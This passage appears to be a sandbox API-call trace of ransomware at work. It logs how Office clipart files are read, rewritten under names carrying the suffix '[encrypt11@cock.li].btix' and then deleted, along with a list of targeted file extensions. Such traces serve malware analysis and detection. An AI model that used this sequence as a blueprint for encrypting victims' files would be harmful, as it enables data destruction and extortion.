liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.138] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.139] GetLastError () returned 0x0 [0137.139] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0137.144] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0137.145] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.145] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.145] SetEndOfFile (hFile=0x4a8) returned 1 [0137.146] CloseHandle (hObject=0x4a8) returned 1 [0137.146] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.146] SetEndOfFile (hFile=0x534) returned 1 [0137.148] CloseHandle (hObject=0x534) returned 1 [0137.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0137.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.149] lstrlenW (lpString=".doc") returned 4 [0137.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.149] lstrlenW (lpString=".docx") returned 5 [0137.149] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0137.149] lstrlenW (lpString=".pdf") returned 4 [0137.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.149] lstrlenW (lpString=".xls") returned 4 [0137.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.149] lstrlenW (lpString=".xlsx") returned 5 [0137.149] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0137.149] lstrlenW (lpString=".ppt") returned 4 [0137.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.149] lstrlenW (lpString=".zip") returned 4 [0137.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.149] lstrlenW (lpString=".rar") returned 4 [0137.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.149] lstrlenW (lpString=".bz2") returned 4 [0137.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString=".7z") returned 3 [0137.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString=".dbf") returned 4 [0137.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString=".1cd") returned 4 [0137.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString=".jpg") returned 4 [0137.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString=".doc") returned 4 [0137.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString=".docx") returned 5 [0137.150] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0137.150] lstrlenW (lpString=".pdf") returned 4 [0137.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString=".xls") returned 4 [0137.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.150] lstrlenW (lpString=".xlsx") returned 5 [0137.150] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0137.150] lstrlenW (lpString=".ppt") returned 4 [0137.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.150] lstrlenW (lpString=".zip") returned 4 [0137.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.150] lstrlenW (lpString=".rar") returned 4 [0137.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString=".bz2") returned 4 [0137.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.150] lstrlenW (lpString=".7z") returned 3 [0137.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.151] lstrlenW (lpString=".dbf") returned 4 [0137.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.151] lstrlenW (lpString=".1cd") returned 4 [0137.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0137.151] lstrlenW (lpString=".jpg") returned 4 [0137.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.151] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.151] lstrlenW (lpString="J0099171.WMF") returned 12 [0137.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.151] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8754) returned 1 [0137.151] CloseHandle (hObject=0x534) returned 1 [0137.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0137.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.152] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.152] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.153] GetLastError () returned 0x0 [0137.153] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2232, lpOverlapped=0x0) returned 1 [0137.154] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2240, lpOverlapped=0x0) returned 1 [0137.155] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.155] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.155] SetEndOfFile (hFile=0x4a8) returned 1 [0137.155] CloseHandle (hObject=0x4a8) returned 1 [0137.155] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.155] SetEndOfFile (hFile=0x534) returned 1 [0137.160] CloseHandle (hObject=0x534) returned 1 [0137.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0137.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.161] lstrlenW (lpString=".doc") returned 4 [0137.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.161] lstrlenW (lpString=".docx") returned 5 [0137.161] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0137.161] lstrlenW (lpString=".pdf") returned 4 [0137.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.161] lstrlenW (lpString=".xls") returned 4 [0137.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.161] lstrlenW (lpString=".xlsx") returned 5 [0137.161] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0137.161] lstrlenW (lpString=".ppt") returned 4 [0137.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.161] lstrlenW (lpString=".zip") returned 4 [0137.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.161] lstrlenW (lpString=".rar") returned 4 [0137.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".bz2") returned 4 [0137.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".7z") returned 3 [0137.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString=".dbf") returned 4 [0137.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString=".1cd") returned 4 [0137.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString=".jpg") returned 4 [0137.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString=".doc") returned 4 [0137.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".docx") returned 5 [0137.162] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0137.162] lstrlenW (lpString=".pdf") returned 4 [0137.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".xls") returned 4 [0137.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.162] lstrlenW (lpString=".xlsx") returned 5 [0137.162] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0137.162] lstrlenW (lpString=".ppt") returned 4 [0137.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.162] lstrlenW (lpString=".zip") returned 4 [0137.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.162] lstrlenW (lpString=".rar") returned 4 [0137.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".bz2") returned 4 [0137.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.162] lstrlenW (lpString=".7z") returned 3 [0137.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.163] lstrlenW (lpString=".dbf") returned 4 [0137.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.163] lstrlenW (lpString=".1cd") returned 4 [0137.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0137.163] lstrlenW (lpString=".jpg") returned 4 [0137.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.163] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.163] lstrlenW (lpString="J0099172.WMF") returned 12 [0137.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.163] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=58258) returned 1 [0137.163] CloseHandle (hObject=0x534) returned 1 [0137.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0137.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.164] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.164] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.165] GetLastError () returned 0x0 [0137.165] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xe392, lpOverlapped=0x0) returned 1 [0137.338] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0137.340] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.340] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.340] SetEndOfFile (hFile=0x4a8) returned 1 [0137.455] CloseHandle (hObject=0x4a8) returned 1 [0137.455] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.455] SetEndOfFile (hFile=0x534) returned 1 [0137.457] CloseHandle (hObject=0x534) returned 1 [0137.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0137.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.458] lstrlenW (lpString=".doc") returned 4 [0137.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.458] lstrlenW (lpString=".docx") returned 5 [0137.458] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0137.458] lstrlenW (lpString=".pdf") returned 4 [0137.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.458] lstrlenW (lpString=".xls") returned 4 [0137.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.458] lstrlenW (lpString=".xlsx") returned 5 [0137.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0137.459] lstrlenW (lpString=".ppt") returned 4 [0137.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString=".zip") returned 4 [0137.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.459] lstrlenW (lpString=".rar") returned 4 [0137.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString=".bz2") returned 4 [0137.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString=".7z") returned 3 [0137.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString=".dbf") returned 4 [0137.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString=".1cd") returned 4 [0137.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString=".jpg") returned 4 [0137.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.459] lstrlenW (lpString=".doc") returned 4 [0137.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString=".docx") returned 5 [0137.459] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0137.459] lstrlenW (lpString=".pdf") returned 4 [0137.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.459] lstrlenW (lpString=".xls") returned 4 [0137.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.459] lstrlenW (lpString=".xlsx") returned 5 [0137.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0137.459] lstrlenW (lpString=".ppt") returned 4 [0137.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.460] lstrlenW (lpString=".zip") returned 4 [0137.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.460] lstrlenW (lpString=".rar") returned 4 [0137.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.460] lstrlenW (lpString=".bz2") returned 4 [0137.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.460] lstrlenW (lpString=".7z") returned 3 [0137.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.460] lstrlenW (lpString=".dbf") returned 4 [0137.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.460] lstrlenW (lpString=".1cd") returned 4 [0137.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0137.460] lstrlenW (lpString=".jpg") returned 4 [0137.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.460] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.460] lstrlenW (lpString="J0099181.WMF") returned 12 [0137.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.461] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1198) returned 1 [0137.461] CloseHandle (hObject=0x534) returned 1 [0137.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0137.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.472] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.472] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 